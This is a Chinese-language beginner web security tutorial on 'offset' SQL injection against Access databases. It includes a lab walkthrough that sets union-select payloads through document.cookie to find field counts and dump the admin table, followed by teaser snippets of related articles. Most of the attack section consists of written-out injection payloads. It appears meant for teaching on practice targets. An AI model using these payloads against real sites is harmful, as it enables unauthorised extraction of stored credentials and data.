web安全入門(第五章 2 偏移注入

2021-10-06 17:51:26 字數 3171 閱讀 3672

一、偏移注入使用場景

早sql注入得時候會遇到一些無法查詢列名得問題,比如系統自帶資料庫的

許可權不夠而無法訪問系統自帶庫。

或者遇到access資料庫

當你猜到表名無法猜到欄位名的情況下,我們可以使用偏移注入來查詢那張表裡面的資料。

向sqlmap之類的工具實際上是爆破欄位名的名字,但是如果欄位名稱比較奇葩,例如:h5scker_passwd 之類的那就無可奈何了。

總結: ~許可權不夠

~遇到access資料庫,且列名奇葩難爆破時

.* =>正則[匹配所有]

.* =>*=>在資料庫中*也代表一切

select table_name from information_schema(庫).tables(表) where table_schema=database() // 查詢(當前庫)系統自帶庫裡面的表名

information_schema(庫).tables(表)=>information_schema(庫)庫裡面的這個表

庫.表 => 選中這個庫裡面這個表

庫.表.欄位

admin.*=>admin 表裡面所有的字段

select admin.username from admin=>select username from admin

mysql聯合查詢不用from表名

示例 select*from admin union select 1,2,3 (from user)//括號中的內容可不寫

access需要from表名

示例 select*from admin union select 1,2,3 (from user)//括號中的內容必須寫

二、偏移注入步驟

偏移注入:不存在注入:尋找其他頁面

尋找其他引數

存在注入:聯合查詢:

猜字段數 order by 1

猜顯錯點 : union select 1,2,3,4,5,

注:access需要先猜表名,因為查詢語句必須寫表名

猜表名 :mysql:查詢自帶庫自帶表

accees:強行猜解and exists(select*from表名)

猜不到欄位名:開始偏移:例子:union select 1,admin.*,10 from admin

注:注入點的表的字段越多越好滿足乙個條件 注入點的表字段要大於你查詢的字段

然後開始不斷的移動表.*來輸出各種資料

一、偏移注入步驟(access為例)

1.判斷注入點:

當在url中輸入and 1=1和and1=2時,出現錯誤提示,說明get傳參被處理了,我們就需要看看cookie傳參是否沒有被處理。

使用js**在控制台判斷。

document.cookie="id="+escape("xx and 1=1")

document.cookie="id="+escape("xx and 1=2")

2.order by 判斷字段數:

document.cookie="id="+escape("xx order by 1")

3.判斷表名:

document.cookie="id="+escpe("xx and(exists(select * from admin))")

4.聯合查詢(判斷輸出點):

字段數相同

注入點的表的字段一定要大於查詢的表

top x取幾條資料,一點要降序,才能達到limit的效果

docuemnt.cookie="id="+escape("xx union select 1,2,3…… from admin")

5.獲取表中列數(知道存在幾列以及輸出點):

docuemnt.cookie="id="+escape("xx union select 1,2,3…… admin.* from admin")

6.開始偏移注入:

docuemnt.cookie="id="+escape("xx union select 1,2,admin.*,3 from admin")

解釋:admin為想要查詢資料的表名

3為輸出點。

靶場作業:

判斷字段數

105 order by 26 頁面正常

document.cookie="id="+escape("105 order by 27") 頁面錯誤 說明存在26個字段

猜解表名

document.cookie="id="+escape("105 and exists(select *from admin)")

頁面正常 說明存在admin表

找回顯點

document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin")

出現 3 5 7 25四個回顯點 25也是回顯點只不過被隱藏了

找字段數

document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,*from admin") 顯示錯誤

document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,*from admin")顯示錯誤

多次嘗試發現有admin表有16個字段

document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,*from admin")

爆內容經過調整admin.*的位置可以爆出admin 表的所有內容

document.cookie="id="+escape("105 union select admin.*,1,2,3,4,5,6,7,8,9,10 from admin")

document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,admin.*,10 from admin")

web安全入門(第五章 3 dns注入

一 dnslog的函式解析 1,基本 dns 協議 網域名稱 ip轉換 日誌 基本上所有程式都會記錄日誌 dns 他實際上也是有日誌的 補充 問 dnslog注入是不是在linx系統可不可以用smb服務?全稱是server message block 用於在計算機間共享檔案 印表機 串列埠等,電腦上...

網路安全零基礎入門(第五章 4)盲注

注入攻擊本質 使用者輸入的資料當做 去執行 條件 使用者可以控制輸入 原本程式要執行的 拼接了使用者的內容,然後執行了 定義 盲注對應的是顯錯注入。但是很多時候,web伺服器關閉了錯誤回顯,這時候我們就無法實行sql注入了嗎?明顯不是這樣的。盲注在伺服器沒有回顯的時候完成了注入攻擊,由於沒有錯誤回顯...

演算法競賽經典入門 第五章階乘的精確值

include include const int maxn 3000 int f maxn int main for j maxn 1 j 0 j if f j break for i j i 0 i printf d f i printf n return 0 原來計算階乘是這樣的 includ...